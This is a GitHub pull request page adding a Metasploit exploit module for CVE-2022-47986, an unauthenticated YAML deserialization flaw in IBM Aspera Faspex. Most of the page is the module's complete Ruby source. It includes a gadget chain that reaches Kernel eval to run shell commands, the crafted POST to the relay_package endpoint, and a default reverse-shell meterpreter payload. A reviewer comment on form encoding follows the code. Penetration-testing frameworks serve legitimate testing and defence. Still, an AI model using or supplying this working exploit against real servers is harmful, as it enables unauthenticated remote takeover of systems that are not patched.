-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[exploit][RCE][CVE-2022-47986] IBM aspera faspex YAML deserialization #17760
Closed
mauricelambert
wants to merge
23
commits into
rapid7:master
from
mauricelambert:ibm_aspera_faspex_rce_yaml_deserialization
Closed
Changes from all commits
Commits
Show all changes
23 commits
Select commit
Hold shift + click to select a range
7b777a8
[exploit][RCE][CVE-2022-47986] IBM aspera faspex YAML deserialization
mauricelambert 5a5ac57
Fix: exploit is a JSON string
mauricelambert 50ca746
Fix: syntax error
mauricelambert 91a834f
Fix: not implemented method
mauricelambert 4382277
Fix: Payload JSON syntax
mauricelambert de886f2
Fix: JSON syntax
mauricelambert ab0ad19
Linting
mauricelambert 4b978b6
Remove unused function
mauricelambert 23add71
Payload random values
mauricelambert 82749ac
Forgotten random value
mauricelambert 4b87070
Payload random value
mauricelambert 918cddb
Update modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deseria…
mauricelambert a26d38c
Update modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deseria…
mauricelambert 830905a
Update modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deseria…
mauricelambert 4e8236d
Update modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deseria…
mauricelambert 0afbe40
Fix: random UUID in the payload
mauricelambert ed9a98e
Fix: replace uuid string
mauricelambert d9fa3de
Use string interpolation
mauricelambert d05fcc0
Use metasploit command stagers instead of custom payload
mauricelambert d53994f
Update modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deseria…
mauricelambert 65f78ca
Update modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deseria…
mauricelambert 6471007
Update modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deseria…
mauricelambert a336652
Minor fixes including payload encoding
jheysel-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
134 changes: 134 additions & 0 deletions
134
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,134 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'IBM Aspera Faspex YAML deserialization vulnerability', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated YAML deserialization vulnerability | ||
which exists in IBM Aspera Faspex version 4.4.2 Patch Level 1 and below (CVE-2022-47986). | ||
}, | ||
'References' => [ | ||
['CVE', '2022-47986'], | ||
['URL', 'https://www.ibm.com/support/pages/node/6952319'], | ||
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-47986'], | ||
['URL', 'https://github.com/ohnonoyesyes/CVE-2022-47986/blob/main/poc.py'], | ||
['URL', 'https://thehackernews.com/2023/03/icefire-linux-ransomware.html'], | ||
['URL', 'https://attackerkb.com/topics/jadqVo21Ub/cve-2022-47986/rapid7-analysis'], | ||
], | ||
'Author' => [ | ||
'ohnonoyesyes', # POC | ||
'Maurice LAMBERT', # Metasploit auxiliary module | ||
], | ||
'DisclosureDate' => '2023-02-02', | ||
'License' => MSF_LICENSE, | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], | ||
'DefaultOptions' => { | ||
'RPORT' => 443, | ||
'SSL' => true | ||
}, | ||
'Targets' => [ | ||
[ | ||
'Unix Command', | ||
{ | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Type' => :unix_cmd, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp', | ||
'RPORT' => 9000 | ||
} | ||
} | ||
], | ||
], | ||
'CmdStagerFlavor' => [ 'echo' ], | ||
'Payload' => { 'BadChars' => '`' }, | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
register_options( | ||
[OptString.new('TARGETURI', [ false, 'The base path for the IBM Aspera Faspex Application.', '/aspera/faspex'])] | ||
) | ||
end | ||
|
||
def execute_command(command, _opts = {}) | ||
exploit = <<~EOT | ||
--- | ||
- !ruby/object:Gem::Installer | ||
i: x | ||
- !ruby/object:Gem::SpecFetcher | ||
i: y | ||
- !ruby/object:Gem::Requirement | ||
requirements: | ||
!ruby/object:Gem::Package::TarReader | ||
io: &1 !ruby/object:Net::BufferedIO | ||
io: &1 !ruby/object:Gem::Package::TarReader::Entry | ||
read: 0 | ||
header: "pew" | ||
debug_output: &1 !ruby/object:Net::WriteAdapter | ||
socket: &1 !ruby/object:PrettyPrint | ||
output: !ruby/object:Net::WriteAdapter | ||
socket: &1 !ruby/module "Kernel" | ||
method_id: :eval | ||
newline: "throw `#{command}`" | ||
buffer: {} | ||
group_stack: | ||
- !ruby/object:PrettyPrint::Group | ||
break: true | ||
method_id: :breakable | ||
EOT | ||
uuid = SecureRandom.uuid | ||
|
||
payload = { | ||
"package_file_list[]": '/', | ||
external_emails: exploit, | ||
package_name: 'assetnote_pack', | ||
package_note: Rex::Text.rand_text(50, bad: '', chars: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' + ' ' * 15).to_s, | ||
original_sender_name: Rex::Text.rand_name.to_s, | ||
package_uuid: uuid.to_s, | ||
metadata_human_readable: 'Yes', | ||
forward: 'pew', | ||
metadata_json: '{}', | ||
delivery_uuid: uuid.to_s, | ||
delivery_sender_name: Rex::Text.rand_name.to_s, | ||
delivery_title: Rex::Text.rand_text_alphanumeric(4).to_s, | ||
delivery_note: Rex::Text.rand_text_alphanumeric(12).to_s, | ||
delete_after_download: true, | ||
delete_after_download_condition: 'IDK' | ||
} | ||
|
||
response = send_request_raw({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(datastore['TARGETURI'], '/package_relay/relay_package'), | ||
'data' => URI.encode_www_form(payload) | ||
}) | ||
if response && response.body | ||
return response.body | ||
end | ||
|
||
false | ||
end | ||
|
||
def exploit | ||
print_status('Exploiting...') | ||
execute_command(payload.encoded) | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This was my doing and seems like a bit of a hack. When defining
package_file_list
like so:package_file_list: ["/"]
the fact that its defined as an array seems to be ignored byURI.encode_www_form
and I was getting an error from the application as it expectedpackage_file_list
to be an array. I've included an example below.irb example
This satisfied the server as it expects
package_file_list%5B%5D=%2F
not what is generated above.